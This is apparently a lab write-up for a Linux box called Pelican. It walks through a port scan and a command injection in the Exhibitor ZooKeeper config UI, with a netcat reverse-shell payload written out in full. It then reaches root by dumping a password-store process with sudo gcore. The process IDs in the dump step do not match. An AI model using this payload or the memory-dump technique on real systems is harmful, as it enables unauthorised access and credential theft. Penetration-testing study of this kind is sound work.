Overview
Pelican is a Linux box where the foothold is a command injection vulnerability in Exhibitor for ZooKeeper's web UI, and the privilege escalation involves dumping the memory of a privileged process using gcore, a legitimate debugging tool that the current user can run as root via sudo. The password for root surfaces in plaintext inside the memory dump.
Recon
Port Scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian
631/tcp open ipp CUPS 2.2
2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
8080/tcp open http Jetty 1.0
8081/tcp open http nginx 1.14.2
Browsing port 8081 triggers a redirect:
http://192.168.180.98:8080/exhibitor/v1/ui/index.html
What Exhibitor is: Exhibitor is a web-based management UI for Apache ZooKeeper. It provides configuration management including a
java.env scriptfield that gets evaluated by the ZooKeeper process. Passing shell metacharacters into this field causes command execution.
The vulnerability is documented at: https://talosintelligence.com/vulnerability_reports/TALOS-2019-0790
Foothold
Exhibitor ZooKeeper Command Injection
The exploit requires no credentials. In the Exhibitor web UI:
- Click the Config tab
- Flip Editing to ON
- In the java.env script field, enter a command wrapped in
$()or backticks
Payload added to the java.env script field:
$(/bin/nc -e /bin/sh 192.168.45.244 8081 &)
Click Commit > All At Once > OK. The shell arrives within a minute as user charles:
rlwrap nc -lvnp 8081
connect to [192.168.45.244] from (UNKNOWN) [192.168.180.98] 43810
whoami
charles
TTY upgrade:
script /dev/null -c /bin/bash
Privilege Escalation
sudo gcore to Dump the password-store Process
Checking sudo permissions:
sudo -l
User charles may run the following commands on pelican:
(ALL) NOPASSWD: /usr/bin/gcore
gcore creates a core dump of any running process. Finding a privileged process worth dumping:
ps aux | grep root
root 484 0.0 0.0 2276 72 ? Ss 16:50 0:00 /usr/bin/password-store
Why dumping
password-storeworks: A password manager process has to hold its secrets in memory to operate. Core dumps capture the full memory image of a process at a point in time, including any strings it was currently working with. The OS permission model normally prevents unprivileged users from dumping privileged processes, but sudo ongcorebypasses that entirely.
Dump the process:
sudo gcore -o output 493
Extract readable strings from the dump:
strings output.484
Root credentials surface in plaintext:
001 Password: root:
‹redacted›
Switching to Root
charles@pelican:/opt/zookeeper$ su root
Password: ‹redacted›
root@pelican:/opt/zookeeper# whoami
root
Root
root@pelican:~# cat proof.txt
‹redacted›
Takeaways
- Web-facing configuration UIs are often the whole foothold. Exhibitor's
java.env scriptfield is essentially a root-level shell through a form input, no CVE number required once you know the functionality exists. sudo -lis the first thing to run after foothold. The privilege of runninggcoreas root looks innocuous until you know what a process dump contains.- Process memory holds secrets in plaintext. Password managers, databases, and authentication daemons all hold credentials in working memory. If you can dump a process, you can read what it was holding.